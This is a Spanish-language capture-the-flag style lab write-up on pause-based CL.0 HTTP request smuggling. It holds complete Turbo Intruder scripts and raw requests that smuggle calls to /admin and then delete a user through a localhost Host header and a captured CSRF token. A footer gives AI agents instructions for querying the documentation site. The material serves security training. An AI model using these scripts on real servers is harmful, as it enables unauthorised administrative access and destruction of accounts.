> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# Contrabando de solicitudes del lado del servidor basado en pausas

### Secuestro de solicitudes basado en pausas del lado del servidor

El laboratorio es vulnerable a un ataque de secuestro de solicitudes del lado del servidor basado en pausas. El servidor frontal transmite solicitudes al servidor interno continuamente, y el servidor interno no cierra la conexión después de un retraso de inactividad en algunos endpoints.

Para resolver el laboratorio:

* Identificar un vector de desincronización **CL.0** basado en una pausa,
* Inyecta una solicitud al servidor interno para acceder al panel de administración **/admin**,
* Luego elimina al usuario **carlos**.

**Nota**/ Algunas vulnerabilidades como estas no pueden explotarse con las herramientas nativas de Burp. Es necesario usar la **Turbo Intruder** extensión.

<figure><img src="/files/8788e80cce049098e9a5ad88011d948bba567bdd" alt=""><figcaption></figcaption></figure>

#### **Punto vulnerable: `/resources`**

Al enviar una solicitud a `/resources` e insertar una pausa larga (61 segundos), se puede provocar una desincronización entre el front-end y el back-end:

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

Para explotar este comportamiento, usamos **Turbo Intruder**.

<figure><img src="/files/b6e623749ab594e20f63d6104422f11834feab2d" alt=""><figcaption></figcaption></figure>

#### **Script base**

El script predeterminado se modifica para insertar una pausa de **61 000 ms** después de enviar el marcador (`pauseMarker`), de modo que la segunda solicitud se inyecte después del retraso:

<figure><img src="/files/282a2df4c7ad2a8031358a124841d18862f237c0" alt=""><figcaption></figcaption></figure>

El análisis muestra que dos solicitudes llegan al back-end después de unos **62 segundos**, lo que confirma la vulnerabilidad.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/f00b9462dddebac28aa87b406ea2433a1dab7c31" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7e3f25013f2c373105646093060d1ec16345a892" alt=""><figcaption></figcaption></figure>

#### **Inyección hacia `/admin/`**

Adaptando la solicitud inyectada al panel de administración:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

El servidor interno responde con **Encontrado**, lo que demuestra que se ha forzado el acceso de administrador.

<figure><img src="/files/34f42e26852de269db41bcdfa7dfc3baa06c75b5" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario Carlos**

Para eludir la protección CSRF, el host de la solicitud inyectada se modifica a **localhost**, incluyendo el cuerpo POST con el token capturado:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

La inyección provoca que el POST se inyecte en el servidor interno, lo que elimina al usuario **carlos**.

<figure><img src="/files/3fdb9e54b92c37fea96d78372a00a73312cad537" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
